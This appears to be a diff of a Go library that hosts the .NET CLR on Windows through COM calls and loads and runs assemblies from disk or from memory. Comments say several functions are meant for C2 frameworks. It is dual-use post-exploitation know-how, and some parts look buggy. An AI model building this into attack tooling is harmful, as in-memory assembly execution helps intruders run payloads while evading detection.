func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
var hr int
|
||||
for hr != S_FALSE {
|
||||
var runtimeInfo *ICLRRuntimeInfo
|
||||
var fetched = uint32(0)
|
||||
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
|
||||
if err != nil {
|
||||
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
|
||||
}
|
||||
if hr == S_FALSE {
|
||||
break
|
||||
}
|
||||
// Only release if an interface pointer was returned
|
||||
runtimeInfo.Release()
|
||||
|
||||
version, err := runtimeInfo.GetVersionString()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
runtimes = append(runtimes, version)
|
||||
}
|
||||
if len(runtimes) == 0 {
|
||||
return runtimes, fmt.Errorf("Could not find any installed runtimes")
|
||||
}
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
|
||||
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
|
||||
// and Argument to use as strings. It returns the return code from the assembly
|
||||
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
must(err)
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
|
||||
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
|
||||
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
|
||||
// You can supply an array of strings as command line arguments.
|
||||
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain.Release()
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
|
||||
return GetICORRuntimeHost(runtimeInfo)
|
||||
}
|
||||
|
||||
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
|
||||
// loads the assembly into, executes the assembly, and then releases AppDomain
|
||||
// Intended to be used by C2 frameworks to quickly execute an assembly one time
|
||||
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly.Release()
|
||||
appDomain.Release()
|
||||
return
|
||||
}
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return assembly.GetEntryPoint()
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
defer SafeArrayDestroy(paramSafeArray)
|
||||
|
||||
// Ensure exclusive access to read/write STDOUT/STDERR
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
// Don't return because there could be data on STDOUT/STDERR
|
||||
}
|
||||
|
||||
// Read data from previously redirected STDOUT/STDERR
|
||||
if wSTDOUT != nil {
|
||||
var e string
|
||||
stdout, e, err = ReadStdoutStderr()
|
||||
stderr += e
|
||||
if err != nil {
|
||||
stderr += err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
|
||||
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
|
||||
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
|
||||
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
|
||||
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
|
||||
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
)
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package clr
|
||||
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
|
||||
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
|
||||
|
||||
const (
|
||||
S_OK = 0x00
|
||||
S_FALSE = 0x01
|
||||
// COR_E_TARGETINVOCATION is TargetInvocationException
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
|
||||
COR_E_TARGETINVOCATION uint32 = 0x80131604
|
||||
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
|
||||
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
|
||||
// COR_E_BADIMAGEFORMAT is BadImageFormatException
|
||||
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
|
||||
// DISP_E_BADPARAMCOUNT is invalid number of parameters
|
||||
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
|
||||
// E_POINTER Pointer that is not valid
|
||||
E_POINTER uint32 = 0x80004003
|
||||
// E_NOINTERFACE No such interface supported
|
||||
E_NOINTERFACE uint32 = 0x80004002
|
||||
)
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Couldnt have done any of this without this SO answer I stumbled on:
|
||||
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
|
||||
|
||||
//ICLRMetaHost Interface from metahost.h
|
||||
type ICLRMetaHost struct {
|
||||
vtbl *ICLRMetaHostVtbl
|
||||
}
|
||||
|
||||
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
|
||||
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
|
||||
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
|
||||
// shutdown, and query legacy API binding.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
|
||||
type ICLRMetaHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
GetRuntime uintptr
|
||||
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
|
||||
// given its file path. This method supersedes GetFileVersion.
|
||||
GetVersionFromFile uintptr
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR version that is installed on a computer.
|
||||
EnumerateInstalledRuntimes uintptr
|
||||
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
|
||||
EnumerateLoadedRuntimes uintptr
|
||||
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
|
||||
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
|
||||
RequestRuntimeLoadedNotification uintptr
|
||||
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
|
||||
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
|
||||
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
|
||||
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
|
||||
QueryLegacyV2RuntimeBinding uintptr
|
||||
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
|
||||
ExitProcess uintptr
|
||||
}
|
||||
|
||||
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
|
||||
// HRESULT CLRCreateInstance(
|
||||
// [in] REFCLSID clsid,
|
||||
// [in] REFIID riid,
|
||||
// [out] LPVOID * ppInterface
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
|
||||
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
|
||||
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
|
||||
|
||||
if clsid != CLSID_CLRMetaHost {
|
||||
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
|
||||
return
|
||||
}
|
||||
|
||||
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
|
||||
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
|
||||
|
||||
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
|
||||
hr, _, err := procCLRCreateInstance.Call(
|
||||
uintptr(unsafe.Pointer(&clsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(unsafe.Pointer(&ppInterface)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
|
||||
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
|
||||
// version of the common language runtime (CLR) that is installed on a computer.
|
||||
// HRESULT EnumerateInstalledRuntimes (
|
||||
// [out, retval] IEnumUnknown **ppEnumerator);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
|
||||
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
|
||||
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumerateInstalledRuntimes,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&ppEnumerator)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
// HRESULT GetRuntime (
|
||||
// [in] LPCWSTR pwzVersion,
|
||||
// [in] REFIID riid,
|
||||
// [out,iid_is(riid), retval] LPVOID *ppRuntime
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
|
||||
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
|
||||
debugPrint("Entering into iclrmetahost.GetRuntime()...")
|
||||
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetRuntime,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzVersion)),
|
||||
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
|
||||
uintptr(unsafe.Pointer(&ppRuntime)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type ICLRRuntimeHost struct {
|
||||
vtbl *ICLRRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
|
||||
// provided in the .NET Framework version 1, with the following changes
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
|
||||
type ICLRRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Start Initializes the CLR into a process.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code by the runtime.
|
||||
Stop uintptr
|
||||
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
|
||||
SetHostControl uintptr
|
||||
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
|
||||
// aspects of the common language runtime (CLR).
|
||||
GetCLRControl uintptr
|
||||
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
|
||||
UnloadAppDomain uintptr
|
||||
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
|
||||
ExecuteInAppDomain uintptr
|
||||
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
|
||||
GetCurrentAppDomainId uintptr
|
||||
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
|
||||
// to be activated in a new domain.
|
||||
ExecuteApplication uintptr
|
||||
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
|
||||
ExecuteInDefaultAppDomain uintptr
|
||||
}
|
||||
|
||||
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
|
||||
// returns an ICLRRuntimeHost and loads it into the current process
|
||||
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
|
||||
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
|
||||
var runtimeHost *ICLRRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start Initializes the common language runtime (CLR) into a process.
|
||||
// HRESULT Start();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
|
||||
func (obj *ICLRRuntimeHost) Start() error {
|
||||
debugPrint("Entering into iclrruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
|
||||
// HRESULT ExecuteInDefaultAppDomain (
|
||||
// [in] LPCWSTR pwzAssemblyPath,
|
||||
// [in] LPCWSTR pwzTypeName,
|
||||
// [in] LPCWSTR pwzMethodName,
|
||||
// [in] LPCWSTR pwzArgument,
|
||||
// [out] DWORD *pReturnValue
|
||||
// );
|
||||
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
|
||||
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
|
||||
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
|
||||
hr, _, err := syscall.Syscall9(
|
||||
obj.vtbl.ExecuteInDefaultAppDomain,
|
||||
6,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzAssemblyPath)),
|
||||
uintptr(unsafe.Pointer(pwzTypeName)),
|
||||
uintptr(unsafe.Pointer(pwzMethodName)),
|
||||
uintptr(unsafe.Pointer(pwzArgument)),
|
||||
uintptr(unsafe.Pointer(pReturnValue)),
|
||||
0,
|
||||
0,
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
|
||||
// HRESULT GetCurrentAppDomainId(
|
||||
// [out] DWORD* pdwAppDomainId
|
||||
// );
|
||||
